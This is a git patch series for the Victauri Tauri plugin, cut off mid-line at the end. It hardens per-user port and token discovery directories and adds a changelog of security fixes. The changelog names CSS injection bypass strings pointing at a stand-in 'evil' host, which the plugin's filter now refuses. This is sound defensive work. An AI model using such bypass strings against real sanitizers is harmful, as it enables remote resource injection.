a/crates/victauri-watchdog/src/main.rs b/crates/victauri-watchdog/src/main.rs index 5e44c769..3413f15f 100644 --- a/crates/victauri-watchdog/src/main.rs +++ b/crates/victauri-watchdog/src/main.rs @@ -85,7 +85,7 @@ fn parse_args(args: &[String]) -> (Option, Option) { // ── Discovery ──────────────────────────────────────────────────────────────── // -// The plugin writes `/victauri//port` (+ `metadata.json` with the app +// The plugin writes `//port` (see `discovery_roots`; + `metadata.json` with the app // `identifier` / `product_name`) and may land on 7374+ when 7373 is taken, so a // fixed port can watch the wrong app or nothing at all. `/health` needs no auth, // so only the port is read — never the token. @@ -166,11 +166,13 @@ enum Discovery { } /// The discovery roots the plugin may have written to, most specific first (mirrors the -/// plugin's `discovery_root`). On Unix the root is per-user — `$XDG_RUNTIME_DIR/victauri` when -/// that directory is private to us, else `/victauri-` (a shared `/tmp/victauri` -/// could be pre-created by another user, blocking discovery) — and the legacy -/// `/victauri` is still read, subject to the same ownership check, for pre-0.9 plugins. -/// Other platforms use `/victauri` (a per-user temp dir). +/// plugin's `discovery_root`). On Unix the roots are per-user — `$XDG_RUNTIME_DIR/victauri` +/// when that directory is private to us, then `/victauri-` (a shared +/// `/tmp/victauri` could be pre-created by another user, blocking discovery), then the home +/// fallback `$XDG_STATE_HOME/victauri` / `$HOME/.local/state/victauri` (where the plugin +/// registers when `/victauri-` was taken over) — and the legacy `/victauri` +/// is still read, subject to the same ownership check, for pre-0.9 plugins. Other platforms +/// use `/victauri` (a per-user temp dir; Windows readers verify its ownership). fn discovery_roots() -> Vec { let legacy = std::env::temp_dir().join("victauri"); #[cfg(unix)] @@ -192,6 +194,12 @@ fn discovery_roots() -> Vec { roots.push(runtime.join("victauri")); } roots.push(std::env::temp_dir().join(format!("victauri-{euid}"))); + // The plugin's fallback when `/victauri-` was taken over by another + // user (R5B-LINDISC1) — scanned after it, before the legacy root. + roots.extend(home_state_root( + std::env::var_os("XDG_STATE_HOME"), + std::env::var_os("HOME"), + )); } roots.push(legacy); roots @@ -202,6 +210,26 @@ fn discovery_roots() -> Vec { } } +/// The plugin's per-user fallback discovery root under the home directory: +/// `$XDG_STATE_HOME/victauri`, else `$HOME/.local/state/victauri` (each only when absolute). +/// The plugin registers there when `/victauri-` is untrusted — e.g. another local +/// user pre-created it, and sticky `/tmp` stops us deleting it (R5B-LINDISC1). +#[cfg(unix)] +fn home_state_root( + xdg_state_home: Option, + home: Option, +) -> Option { + let absolute = + |p: std::ffi::OsString| Some(std::path::PathBuf::from(p)).filter(|p| p.is_absolute()); + xdg_state_home + .and_then(absolute) + .or_else(|| { + home.and_then(absolute) + .map(|h| h.join(".local").join("state")) + }) + .map(|state| state.join("victauri")) +} + /// [`discover_in`] over every discovery root; a pid found under several roots counts once. fn discover_in_roots( roots: &[PathBuf], @@ -563,8 +591,8 @@ async fn main() -> anyhow::Result<()> { println!("victauri-watchdog {}", env!("CARGO_PKG_VERSION")); println!("Crash-recovery sidecar for Victauri MCP server\n"); println!("USAGE: victauri-watchdog [PORT] [--app ]\n"); - println!("Without an explicit port, the port is discovered from"); - println!("/victauri//port (live apps only), falling back to 7373 when"); + println!("Without an explicit port, the port is discovered from the per-user"); + println!("discovery roots (//port, live apps only), falling back to 7373 when"); println!("no --app is given. Once an app is found its identity is pinned: the"); println!("watchdog follows only that app across restarts and never switches to a"); println!("different one. With --app and no matching app, it reports the app DOWN.\n"); @@ -881,6 +909,28 @@ mod tests { assert!(roots.contains(&std::env::temp_dir().join(format!("victauri-{euid}")))); assert_eq!(roots.last(), Some(&std::env::temp_dir().join("victauri"))); assert_ne!(roots[0], std::env::temp_dir().join("victauri")); + // R5B-LINDISC1: the home fallback is scanned after the per-user temp root, before + // the legacy one. + let home = home_state_root(std::env::var_os("XDG_STATE_HOME"), std::env::var_os("HOME")) + .expect("HOME is set in the test environment"); + let at = |p: &std::path::Path| roots.iter().position(|r| r == p); + let tmp_root = std::env::temp_dir().join(format!("victauri-{euid}")); + assert!(at(&home) > at(&tmp_root), "{roots:?}"); + assert!(at(&home) < Some(roots.len() - 1), "{roots:?}"); + } + + #[cfg(unix)] + #[test] + fn home_state_root_prefers_an_absolute_xdg_state_home() { + assert_eq!( + home_state_root(Some("/x/state".into()), Some("/home/u".into())), + Some(std::path::PathBuf::from("/x/state/victauri")) + ); + assert_eq!( + home_state_root(Some("rel".into()), Some("/home/u".into())), + Some(std::path::PathBuf::from("/home/u/.local/state/victauri")) + ); + assert_eq!(home_state_root(None, Some("rel".into())), None); } fn app(pid: u32, port: u16, identity: Option<&str>) -> DiscoveredApp { diff --git a/crates/victauri-watchdog/src/process.rs b/crates/victauri-watchdog/src/process.rs index c501d11b..3428f0c3 100644 --- a/crates/victauri-watchdog/src/process.rs +++ b/crates/victauri-watchdog/src/process.rs @@ -1,7 +1,7 @@ //! Process liveness for discovery: is `pid` a live process owned by the current user? //! (A copy of `victauri-test`'s `process` module; the watchdog does not depend on it.) //! -//! Discovery trusts a `/victauri//` entry only while its PID is alive, so this +//! Discovery trusts a `//` entry only while its PID is alive, so this //! check decides where a Bearer token is sent. It must be exact (PID 12 is not PID 123), //! scoped to our own user (another user's process that inherited a stale PID must not make //! an entry look live), and cheap — the CLI bridge polls it every 1.5 s. The previous diff --git a/docs/src/architecture.md b/docs/src/architecture.md index 329775b5..abc092f5 100644 --- a/docs/src/architecture.md +++ b/docs/src/architecture.md @@ -139,7 +139,7 @@ Three read-on-demand resources expose live state (the `subscribe` capability is ## Port Fallback -If port 7373 is already in use (e.g., another Tauri app running Victauri), the server tries ports 7374 through 7383. The actual bound port is written to the per-process discovery directory (`/victauri//port`, alongside the auth `token` and `metadata.json`) for client discovery and cleaned up on shutdown. +If port 7373 is already in use (e.g., another Tauri app running Victauri), the server tries ports 7374 through 7383. The actual bound port is written to the per-process discovery directory (`//port`, alongside the auth `token` and `metadata.json`; `` is per-user — see [Security](security.md#discovery-directory-protection)) for client discovery and cleaned up on shutdown. ## Release Safety diff --git a/docs/src/configuration.md b/docs/src/configuration.md index dad0dd99..f4c3a77a 100644 --- a/docs/src/configuration.md +++ b/docs/src/configuration.md @@ -66,7 +66,7 @@ VictauriBuilder::new() If the preferred port is busy, Victauri tries the next 10 ports (9001-9010). The actual port is: - Printed to the log on startup -- Written to the per-process discovery dir `/victauri//port` (next to the auth `token` and a `metadata.json` with the app identity) +- Written to the per-process discovery dir `//port` (next to the auth `token` and a `metadata.json` with the app identity) — `` is per-user; see [Security: discovery-directory protection](security.md#discovery-directory-protection) - Available via the `/info` endpoint - Stored in `VictauriState.port` (AtomicU16) diff --git a/docs/src/faq.md b/docs/src/faq.md index 32e7e9c4..d718a80c 100644 --- a/docs/src/faq.md +++ b/docs/src/faq.md @@ -70,7 +70,7 @@ Check that: If the default port (7373) is busy, Victauri tries 7374-7383. The actual port is: - Printed to stdout/logs on startup -- Written to the per-process discovery dir `/victauri//port` (next to the auth `token` and a `metadata.json` with the app identity) +- Written to the per-process discovery dir `//port` (next to the auth `token` and a `metadata.json` with the app identity) — `` is per-user; see [Security: discovery-directory protection](security.md#discovery-directory-protection) - Available via `GET /info` on the bound port - Discoverable by the `victauri check` CLI command diff --git a/docs/src/getting-started.md b/docs/src/getting-started.md index 78daf9bd..ce7ff574 100644 --- a/docs/src/getting-started.md +++ b/docs/src/getting-started.md @@ -104,9 +104,11 @@ builder with `.auth_token("…")` (or the `VICTAURI_AUTH_TOKEN` env var). With your app running, check the health endpoint: Auth is on by default, so every endpoint except `/health` needs the Bearer token. The plugin -writes it (and the bound port) to a per-process discovery directory: -`/victauri//token` (and `.../port`), where `` is your OS temp dir (`$TMPDIR` -or `/tmp` on macOS/Linux, `%TEMP%` on Windows) and `` is the app's process id. +writes it (and the bound port) to a per-process, per-user discovery directory +`//token` (and `.../port`), where `` is the app's process id and `` is +`%TEMP%\victauri` on Windows; on macOS/Linux it is `$XDG_RUNTIME_DIR/victauri` when that +directory is private to you, else `/victauri-` (`` = `$TMPDIR` or `/tmp`), or +`~/.local/state/victauri` (`$XDG_STATE_HOME/victauri`) if that one is unusable. ```bash curl http://127.0.0.1:7373/health diff --git a/docs/src/security.md b/docs/src/security.md index 5aac6b97..405f431e 100644 --- a/docs/src/security.md +++ b/docs/src/security.md @@ -75,16 +75,21 @@ Every request except `/health` must include a valid Bearer token. The per-process discovery directory holds the auth token, so it is locked to the current user. It lives in a **per-user** root: `$XDG_RUNTIME_DIR/victauri//` when that directory is private -to the user, else `/victauri-//` on Unix, and `%TEMP%\victauri\\` on Windows -(where `%TEMP%` is already per-user). Clients also read the legacy shared `/victauri/` root, -owner-checked, so an app built with an older plugin is still found. +to the user, else `/victauri-//` on Unix — or, when that one is unusable, +`$XDG_STATE_HOME/victauri//` (default `~/.local/state/victauri//`) — and +`%TEMP%\victauri\\` on Windows (where `%TEMP%` is normally per-user). Clients scan those roots +in that order, then the legacy shared `/victauri/` root, owner-checked, so an app built with +an older plugin is still found. - **Unix:** the directory is created `0700`, and both it and its root are trusted only when they are real directories (not symlinks) owned by the current uid and not group/other-writable. A planted or world-writable path is refused, never trusted. A per-user root means another local user can no longer block discovery by pre-creating the - shared root; with no `XDG_RUNTIME_DIR`, they could still pre-create `/tmp/victauri-` - (discovery then fails closed rather than trusting it). + shared root. With no private `XDG_RUNTIME_DIR` the root is the predictable + `/tmp/victauri-`, which another local user could still pre-create (and sticky `/tmp` + stops you deleting it); the plugin then registers under the home-directory root instead + (created `0700`, its parent owned by you and not writable by others), so that no longer + blocks discovery either. - **Windows:** before any token is trusted, Victauri verifies the directory is **owned by the current user** (an attacker who pre-created it on a shared `TEMP` would be its owner, so the directory is refused). It then replaces the directory's DACL with a **protected, owner-only @@ -93,7 +98,12 @@ owner-checked, so an app built with an older plugin is still found. unusual filesystem, Victauri falls back to a best-effort `icacls` lockdown (and logs a warning); in that fallback only, a custom-SID ACE pre-planted by another principal on a **non-default shared** `TEMP` could persist — the default Windows per-user `TEMP` is not - writable by other users, so it is unaffected. + writable by other users, so it is unaffected. Clients (the CLI and its bridge, + `victauri-test`, the watchdog, the VS Code extension) likewise trust a discovery root or + `` directory only if the current user owns it (or `BUILTIN\Administrators` does and the + user is a member), so an entry another user planted on a shared `TEMP` (e.g. MSYS2's + `C:\msys64\tmp`) is never read. The VS Code extension checks directories outside the user + profile with PowerShell's `Get-Acl`, failing closed if it cannot. In all cases the token file itself is created exclusively (`O_EXCL` / `create_new`) so a pre-planted file or symlink at its path is rejected rather than written through. diff --git a/editors/vscode/CHANGELOG.md b/editors/vscode/CHANGELOG.md index 6dae7788..2e98d133 100644 --- a/editors/vscode/CHANGELOG.md +++ b/editors/vscode/CHANGELOG.md @@ -6,6 +6,10 @@ All notable changes to the Victauri VS Code extension will be documented in this Version-synced with the Victauri 0.9.0 release. Extension changes: +- **Discovery also scans the plugin's home-directory fallback root on Unix.** When another + local user has pre-created the predictable `/tmp/victauri-`, the plugin now registers + under `$XDG_STATE_HOME/victauri` (default `~/.local/state/victauri`); the extension scans it + after `/victauri-`, before the legacy root, with the same ownership checks. - **A discovery entry planted by another Windows user is no longer trusted.** Discovery trusted every directory under `%TEMP%\victauri` on Windows. When `TEMP` is shared (an app launched from MSYS2 uses `C:\msys64\tmp`), another user could plant diff --git a/editors/vscode/README.md b/editors/vscode/README.md index 924b336e..39323f61 100644 --- a/editors/vscode/README.md +++ b/editors/vscode/README.md @@ -90,7 +90,7 @@ The plugin is gated behind `#[cfg(debug_assertions)]`, so `init()` is a no-op in - A Tauri 2.x app with [victauri-plugin](https://crates.io/crates/victauri-plugin) enabled - The plugin starts an HTTP server on `127.0.0.1:7373` that this extension connects to -- Port discovery reads the per-process discovery directory (`%TEMP%\victauri\\` on Windows; `$XDG_RUNTIME_DIR/victauri//` or `/victauri-//` on Unix, plus the legacy `/victauri/`) — trusted entries owned by a live process of yours only — if the default port is taken. On Windows a discovery directory outside your user profile (a shared `TEMP`, e.g. MSYS2's `C:\msys64\tmp`) is used only if you own it, checked with PowerShell's `Get-Acl`; where PowerShell cannot run, set `victauri.port` and `victauri.authToken` instead +- Port discovery reads the per-process discovery directory (`%TEMP%\victauri\\` on Windows; `$XDG_RUNTIME_DIR/victauri//`, `/victauri-//` or `~/.local/state/victauri//` on Unix, plus the legacy `/victauri/`) — trusted entries owned by a live process of yours only — if the default port is taken. On Windows a discovery directory outside your user profile (a shared `TEMP`, e.g. MSYS2's `C:\msys64\tmp`) is used only if you own it, checked with PowerShell's `Get-Acl`; where PowerShell cannot run, set `victauri.port` and `victauri.authToken` instead ## Compatibility diff --git a/editors/vscode/src/discovery.ts b/editors/vscode/src/discovery.ts index 24713ab4..2fe0e7b3 100644 --- a/editors/vscode/src/discovery.ts +++ b/editors/vscode/src/discovery.ts @@ -22,11 +22,26 @@ function tempDir(): string { return process.env.TMPDIR || "/tmp"; } -// Where discovery directories live, most specific first. On Unix the root is per-user — -// `$XDG_RUNTIME_DIR/victauri` when that directory is private to us, else -// `/victauri-` — so another local user cannot pre-create the shared root and -// block discovery; the legacy shared `/victauri` (0.8.x apps) is read last. Windows -// `%TEMP%` is already per-user. +// The plugin's per-user fallback discovery root under the home directory (Unix): +// `$XDG_STATE_HOME/victauri`, else `$HOME/.local/state/victauri` (each only when absolute). The +// plugin registers there when `/victauri-` is untrusted — another local user can +// pre-create that predictable path, and sticky `/tmp` stops us deleting it (R5B-LINDISC1). +export function homeStateRoot(env: NodeJS.ProcessEnv = process.env): string | undefined { + const state = env.XDG_STATE_HOME; + if (state && path.posix.isAbsolute(state)) return path.posix.join(state, "victauri"); + const home = env.HOME; + if (home && path.posix.isAbsolute(home)) { + return path.posix.join(home, ".local", "state", "victauri"); + } + return undefined; +} + +// Where discovery directories live, most specific first — the order every Victauri reader +// scans. On Unix the roots are per-user: `$XDG_RUNTIME_DIR/victauri` when that directory is +// private to us, then `/victauri-` (so another local user cannot pre-create a +// shared root and block discovery), then the home fallback above; the legacy shared +// `/victauri` (0.8.x apps) is read last. Windows `%TEMP%` is normally per-user (and +// ownership is verified, see below). export async function discoveryRoots(): Promise { const tmp = tempDir(); const legacy = path.join(tmp, "victauri"); @@ -46,6 +61,8 @@ export async function discoveryRoots(): Promise { } } roots.push(path.join(tmp, `victauri-${euid}`)); + const home = homeStateRoot(); + if (home) roots.push(home); } roots.push(legacy); return roots; diff --git a/editors/vscode/test/discovery.test.ts b/editors/vscode/test/discovery.test.ts index 9c9d56b3..32f1294c 100644 --- a/editors/vscode/test/discovery.test.ts +++ b/editors/vscode/test/discovery.test.ts @@ -9,6 +9,8 @@ import * as path from "node:path"; import { authProbeVerdict, healthStatusMeansAlive } from "../src/client"; import { DiscoveredServer, + discoveryRoots, + homeStateRoot, pidLiveness, resolveConnection, scanServers, @@ -162,3 +164,29 @@ test("windows: a discovery directory owned by another account is not trusted", a fs.rmSync(root, { recursive: true, force: true }); } }); + +// R5B-LINDISC1: the plugin falls back to a per-user root under the home directory when the +// predictable `/victauri-` was taken over by another user; the extension must scan it. +test("homeStateRoot: $XDG_STATE_HOME/victauri, else ~/.local/state/victauri", () => { + assert.equal(homeStateRoot({ XDG_STATE_HOME: "/x/state", HOME: "/home/u" }), "/x/state/victauri"); + assert.equal( + homeStateRoot({ XDG_STATE_HOME: "rel", HOME: "/home/u" }), + "/home/u/.local/state/victauri" + ); + assert.equal(homeStateRoot({ HOME: "/home/u" }), "/home/u/.local/state/victauri"); + assert.equal(homeStateRoot({ HOME: "rel" }), undefined); + assert.equal(homeStateRoot({}), undefined); +}); + +test("unix: the home fallback root is scanned after /victauri-, before the legacy root", async (t) => { + if (process.platform === "win32") { + t.skip("unix only"); + return; + } + const roots = await discoveryRoots(); + const home = homeStateRoot(); + assert.ok(home, "HOME is set"); + const at = roots.indexOf(home!); + assert.ok(at > 0 && at < roots.length - 1, JSON.stringify(roots)); + assert.ok(roots[at - 1].endsWith(`victauri-${process.geteuid!()}`), JSON.stringify(roots)); +}); From 72b7601b56605cbc0b566053158d1882227a6734 Mon Sep 17 00:00:00 2001 From: antony Date: Wed, 30 Sep 2026 12:14:31 +1000 Subject: [PATCH 163/167] =?UTF-8?q?fix:=20round-5b=20integration=20?= =?UTF-8?q?=E2=80=94=20client=20pool=20below=20the=2010=20s=20keep-alive,?= =?UTF-8?q?=20deterministic=20tests,=20docs?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit - Every Victauri HTTP client (CLI bridge, victauri-test, watchdog) drops pooled connections after 5 s, below the plugin's new 10 s idle keep-alive, so a pooled connection is never reused just as the server closes it (that loss would read as "possibly delivered" and a tool call would not be retried). - rate_limiter_concurrent_acquire (core + plugin): the fixed 1,200 ceiling failed 19/20 under CPU load; the bound is now 1,000 + 1 per elapsed ms, which only a refill double-count exceeds. - InterruptGuard counts watchdog wake-ups in test builds; interrupt_guard_parks_instead_of_polling pins the park-until-deadline behaviour deterministically (a 25 ms stepping watchdog wakes 11x in 300 ms and fails it). db_health's 400-table test sets up in one transaction (~75 s -> <2 s) and checks completeness under generous budgets; lock_wait_is_short asserts the configured busy_timeout; the LIKE/GLOB test's wall-clock bound never discriminated. - smoke: the skippable recording check goes through a skippable_check! macro; the doc-count lint counts both forms (it read 10 checks and failed the docs' correct 11). - Docs: CHANGELOG round-5b section + MIGRATION behavior notes; stale token paths, a false "token is printed to the log" claim, the 30 s header deadline, a 10 s dispatch-timeout comment and db_health's per-table check corrected. Co-Authored-By: Claude Opus 5.5 (1M context) Claude-Session: https://claude.ai/code/session_015A4eZdnsnQtTqs4DPRScaM --- CHANGELOG.md | 96 +++++++++++++++++++++++++- CLAUDE.md | 8 +-- MIGRATION.md | 54 ++++++++++++++- crates/victauri-cli/src/bridge.rs | 8 +++ crates/victauri-core/src/security.rs | 12 +++- crates/victauri-plugin/src/auth.rs | 12 +++- crates/victauri-plugin/src/database.rs | 72 +++++++++++++++---- crates/victauri-plugin/src/lib.rs | 21 ++++-- crates/victauri-plugin/src/mcp/mod.rs | 2 +- crates/victauri-test/src/app.rs | 4 ++ crates/victauri-test/src/client.rs | 4 ++ crates/victauri-test/src/smoke.rs | 35 ++++++---- crates/victauri-watchdog/src/main.rs | 4 ++ docs/src/tools-reference.md | 6 +- scripts/check-doc-counts.sh | 2 +- 15 files changed, 293 insertions(+), 47 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 20dbb7f6..2fa7c760 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -128,8 +128,8 @@ connection, so refused requests (a web page's no-cors fetches, a local script) c 256 request slots, and a connection takes a request slot only once it has sent its first byte — a connection that sends nothing (a page's `` across `*.localhost` names never reaches a guard; measured in Edge: ~370 held, agent `/health` probes failing 17/30) waits -in a separate pool of 1,024 and is closed after 3 s instead of holding a slot for the 30 s header -deadline (round 5). Residual: a local process can still fill the 256 slots with started-but-stalled +in a separate pool of 1,024 and is closed after 3 s instead of holding a slot for the header +deadline (round 5; that deadline is now 10 s, was 30 s). Residual: a local process can still fill the 256 slots with started-but-stalled request heads until the header deadline (slow-loris is bounded, not prevented); GitHub Release notes are the version's CHANGELOG section (not raw commit subjects) and the binaries ship with `SHA256SUMS`; tool-reference, MIGRATION, README and security docs corrections. @@ -231,7 +231,7 @@ Tauri lacking `#[tauri::command(rename)]` (supported since tauri-macros 2.6). header is sent at all. - **Connection exhaustion.** `axum::serve` set no hyper timer: a client trickling request headers held a connection forever, and with `auth_disabled` 64 slow bodies held every request slot. The - server now runs HTTP/1.1 with a 30 s header deadline, a 30 s / 2 MiB body deadline read after + server now runs HTTP/1.1 with a header deadline (10 s since round 5b; 30 s before), a 30 s / 2 MiB body deadline read after authentication, and a 256-connection cap; `/mcp` bodies are capped at 2 MiB like every route. - **Discovery could be blocked by another local user** on Unix (shared `/tmp/victauri`, which the owner check then refused). The root is per-user (`$XDG_RUNTIME_DIR/victauri` or @@ -549,6 +549,96 @@ The remainder of this entry is the first (full-surface) audit round, merged in # no longer owns (discovery is re-checked before every token-bearing request), and refresh polls cannot overlap. +### Round 5b — every remaining Low fixed before release + +Round 5 closed its Mediums but listed ~35 Low findings from its six lenses. All of them are fixed +here (still 0.9.0), each with a test that failed first; behavior changes are in MIGRATION.md. + +**Tools** + +- `verify_state`, `assert_semantic` and `wait_for` (`expression`) accept a trailing `;` or + `// comment` and multi-line expressions; a `wait_for` expression that does not parse fails at once + instead of polling until its timeout. An expression that evaluates to `undefined` reads as `null` + (it failed with "not valid JSON"). `wait_for` `timeout_ms: 0` checks once, immediately (the page + treated 0 as its 10 s default and the call failed as "eval timed out"). +- **Refused page actions are tool errors:** `interact`, `input`, `inspect` and `route add` report a + page refusal (covered, disabled, hidden, detached, not fillable, unknown ref, invalid rule) as + `isError` with the reason and a `[hint: …]`, instead of a successful `{ok:false}` result. +- `logs slow_ipc` honours `webview_label`; `explain diff` reports the real call count and each + command once (a consecutive-only dedup double-listed interleaved commands). + +**Plugin core, data access and threading** + +- Plugin setup that runs off the main thread (a plugin registered at runtime from a background + thread via `AppHandle::plugin`) now records the real main thread and installs its handle there; + every webview/window tool used to fail with "main-thread app handle is not installed". +- Page-callable IPC queries are bounded: `victauri_get_ipc_log` returns the newest 100 calls by + default (max 1000), and ghost detection / IPC integrity no longer copy the whole event log on the + UI thread (14–17 ms → 0.1–3 ms on a 10,000-call log). +- `query_db` runs only SQLite built-ins, SQLite's own FTS/R-Tree/Geopoly functions and functions + registered as deterministic; other app-registered functions are refused by name, and + `load_extension` is never allowed. **Also fixed: R-Tree tables could not be read through + `query_db` at all** (the authorizer refused the statements R-Tree prepares when it connects). +- `db_health` never runs app-registered virtual-table code: when such a module is registered and + the file may contain virtual tables, `quick_check` runs per ordinary table + (`integrity_check_kind: "quick_check (per table)"`, new `integrity_check_note`). +- An eval result is accepted only from the window it was sent to. +- Redaction covers URL credential parameters (`access_token`, `api_key`, `sig`, …), sensitive keys + in JSON nested inside strings, JSON embedded in text, and truncated JSON; the remaining limits + are listed in the security docs. +- The request-head deadline (also the idle keep-alive timeout) is 10 s instead of 30 s, and every + Victauri HTTP client drops pooled connections after 5 s, so a pooled connection is never reused + just as the server closes it. +- `probe` / `on_ready` docs state which thread they run on and that they must not touch Tauri + handles; the main-thread round trip documents its real ~2× timeout worst case. + +**Injected bridge** + +- `css inject`'s remote-URL check is allowlist-based on a real CSS tokenizer: in a URL position only + `data:` or a scheme-less, non-`//` reference passes (`url(https:evil/x)`, `http:/evil`, + `image-set("//evil")` and escaped variants used to pass), and a `/*` inside a string can no longer + hide a following remote `url()`. +- The animation scrub/sample helpers moved behind the per-process agent key (page script could + erase or replace a sweep recording). +- Route rules match every spelling of a request (relative, absolute, `URL`, `Request`, XHR); + a route glob's behaviour is documented. +- A reused XHR gets one network-log entry per request (later requests rewrote earlier entries; a + re-`open()` mid-flight left a `pending` entry that wedged `network_idle`); `fetch()` with no + arguments rejects natively; logged URLs over 2048 characters are stored cut (large `data:` URLs + pinned up to 1000× their size); captured IPC bodies and the in-app `victauri_eval_js` / + `victauri_dom_snapshot` commands use the init-time JSON functions, so a page `toJSON` or a + replaced `JSON.stringify` cannot forge their results or hang them. + +**Clients and discovery** + +- The CLI bridge handles requests concurrently (a long `tools/call` no longer delays `ping`, + parallel calls or `notifications/cancelled`; up to 32 in flight; one backend handshake), still + never re-sending a possibly-delivered call. +- The bridge confirms the app's `/info` identity for `--app` before forwarding, refuses + `VICTAURI_PORT` combined with a selector naming a different app (also in `victauri-test`/CLI + discovery), and uses victauri-test's hardened liveness check on Unix (never a bare `PATH` lookup). +- Windows discovery readers (CLI/bridge, `victauri-test`, watchdog, VS Code) trust a discovery + folder only if the current user owns it (or `BUILTIN\Administrators` with the user a member): an + entry planted on a shared `TEMP` (e.g. MSYS2's `C:\msys64\tmp`) used to be trusted. +- On Unix, when `/tmp/victauri-` is unusable (another user created it first — a discovery + denial of service), the plugin registers under `$XDG_STATE_HOME/victauri` + (`~/.local/state/victauri`) and every reader scans it. +- `victauri doctor` exits 1 when a check fails; `init` prints plain paths (no `\\?\`) and its + suggested `.mcp.json` snippet includes `--app`; the smoke suite never stops a recording it did + not start (the check is reported skipped); IPC checkpoints are `u64` (they truncated on 32-bit — + see MIGRATION); the 401 hint names the real token locations; `TestError` display neutralizes + page-derived text (control characters, `::` workflow commands) while keeping line breaks. + +**Tests, CI and docs** + +- Eight timing-sensitive tests made deterministic (dispatch-gate, probe, file-read, rate-limiter, + lock-wait and db_health tests now synchronize or count instead of racing wall-clock bounds); + checked by running each 20–30× under full CPU oversubscription. +- The `rusqlite-range` CI job fails if the update did not actually reach rusqlite 0.40.x; the + getting-started guide says the 1.88 MSRV is Victauri's own and that a fresh tauri 2.12 tree needs + Rust 1.90; stale `/victauri//token` paths and a "token is printed to the log" claim + (it never is) corrected in the rustdoc. + ## [0.8.8] - 2026-08-12 The MCP-infrastructure release: the embedded server jumps two SDK major versions diff --git a/CLAUDE.md b/CLAUDE.md index f9ec6b7c..26198553 100644 --- a/CLAUDE.md +++ b/CLAUDE.md @@ -1122,7 +1122,7 @@ Tested against 4 third-party open-source Tauri 2 apps with fully built frontends - **CSP compatibility** — `eval()` cannot be used inside injected scripts when CSP has `script-src 'self'` without `'unsafe-eval'`. The eval wrapper uses direct `(async () => { ... })()` pattern instead. ### Key technical decisions already made: -- MCP server is EMBEDDED in Tauri process (not separate), via axum on `:7373` with **port fallback** (tries :7374-7383 if taken; the bound port is advertised in the per-process discovery dir `/victauri//port`) +- MCP server is EMBEDDED in Tauri process (not separate), via axum on `:7373` with **port fallback** (tries :7374-7383 if taken; the bound port is advertised in the per-process discovery dir `//port` under the per-user discovery root (`%TEMP%\victauri` on Windows; on Unix `$XDG_RUNTIME_DIR/victauri`, else `/victauri-`, else `~/.local/state/victauri`)) - `rmcp` 3.1.2 is the MCP SDK (was 1.5.0 until 0.8.8), feature `transport-streamable-http-server` - JS bridge uses ref handles (Playwright pattern), not CSS selectors - All plugin code gated behind `#[cfg(debug_assertions)]` — `init()` returns no-op plugin in release builds @@ -1134,10 +1134,10 @@ Tested against 4 third-party open-source Tauri 2 apps with fully built frontends - IPC data pipeline derives from network log — `get_ipc_log`, `detect_ghost_commands`, `check_ipc_integrity` all call `__VICTAURI__` methods via `eval_with_return()`. IPC entries are extracted from networkLog by filtering Tauri's IPC URLs — `http://ipc.localhost/` (WebView2) or `ipc://localhost/` (WKWebView/WebKitGTK) - Eval timeout is 30s (not 10s) to support `wait_for` tool's configurable polling timeout - **Auto-event recording** — background `event_drain_loop` polls `getEventStream()` every 1s while recording is active, converting JS events (console, mutation, IPC, network, navigation) into `AppEvent` variants and feeding them into `EventRecorder`. Time-travel now works automatically without manual tool calls. -- **Port fallback** — `try_bind()` tries preferred port, then +1 through +10. The bound port (plus token + `metadata.json` identity) is written to the per-process discovery dir `/victauri//`, removed on shutdown. `VictauriState.port` is `AtomicU16` updated to actual bound port. +- **Port fallback** — `try_bind()` tries preferred port, then +1 through +10. The bound port (plus token + `metadata.json` identity) is written to the per-process discovery dir `//` under the per-user discovery root (`%TEMP%\victauri` on Windows; on Unix `$XDG_RUNTIME_DIR/victauri`, else `/victauri-`, else `~/.local/state/victauri`), removed on shutdown. `VictauriState.port` is `AtomicU16` updated to actual bound port. - **Dual-protocol (MCP + REST)** — REST routes (`/api/tools`) are nested in the axum Router alongside `/mcp`, sharing the same auth/rate-limit/security middleware. `VictauriMcpHandler::execute_tool()` dispatches by tool name, deserializes JSON args into the appropriate param struct, and calls the rmcp `#[tool]` method directly. No MCP session or handshake needed for REST calls. - **REST is the robust path for agent scripting (not a fallback)** — *History (2026-05-31, live 4DA):* MCP over `/mcp` was then **session-stateful**, and rmcp's `StreamableHttpService` rejected a tool call with HTTP **422 "expected initialized request"** whenever the session was stale (client reconnect, server restart, missed `notifications/initialized`). *Now:* `/mcp` is **stateless by default** (since 0.7.10; on rmcp 3.x a `2026-07-28` client is always served statelessly, and legacy clients get the constant `Mcp-Session-Id: stateless` backfill from 0.8.4), so that 422 class is gone; `build_app_stateful` remains only for legacy clients that want sessions. REST over `POST /api/tools/{name}` is **sessionless** — every call is self-contained, so it sidesteps that whole failure class while going through the identical auth/rate-limit/privacy/dispatch pipeline (zero capability loss). The only practical delta: REST returns `{"result": ...}`/`{"error": ...}` JSON instead of MCP envelopes, and MCP resources are MCP-only (read on demand — no push). **Guidance: for one-shot tool calls and any scripted/agent-driven loop, prefer REST; use MCP (via the `victauri bridge` stdio proxy) for interactive agent sessions.** `eval_js` over REST was the workhorse in the 4DA animation investigation. -- **Auth enabled by default** — Auto-generates a UUID v4 Bearer token on startup, written to `/victauri//token`. `VictauriClient::discover()` reads it automatically. `auth_disabled()` to opt out for simple local-only setups. `auth_token("...")` or `VICTAURI_AUTH_TOKEN` env var for fixed tokens. DNS rebinding guard + origin guard + security headers applied to all responses. +- **Auth enabled by default** — Auto-generates a UUID v4 Bearer token on startup, written to `//token` under the per-user discovery root (`%TEMP%\victauri` on Windows; on Unix `$XDG_RUNTIME_DIR/victauri`, else `/victauri-`, else `~/.local/state/victauri`) (never logged). `VictauriClient::discover()` reads it automatically. `auth_disabled()` to opt out for simple local-only setups. `auth_token("...")` or `VICTAURI_AUTH_TOKEN` env var for fixed tokens. DNS rebinding guard + origin guard + security headers applied to all responses. - **CLAUDE.md scaffolding** — `victauri init` creates/appends CLAUDE.md with instructions that make AI agents prefer Victauri's 35 MCP tools over CDP/Playwright. This is the highest-leverage fix for agent tool selection — agents read CLAUDE.md before choosing tools. - **`register_command_names` builder API** — Lightweight alternative to `#[inspectable]` proc macros. Pass `&["cmd1", "cmd2"]` to register commands without schema generation. `commands()` method accepts full `CommandInfo` schemas for rich metadata. - **`__TAURI_INTERNALS__` not `__TAURI__`** — All 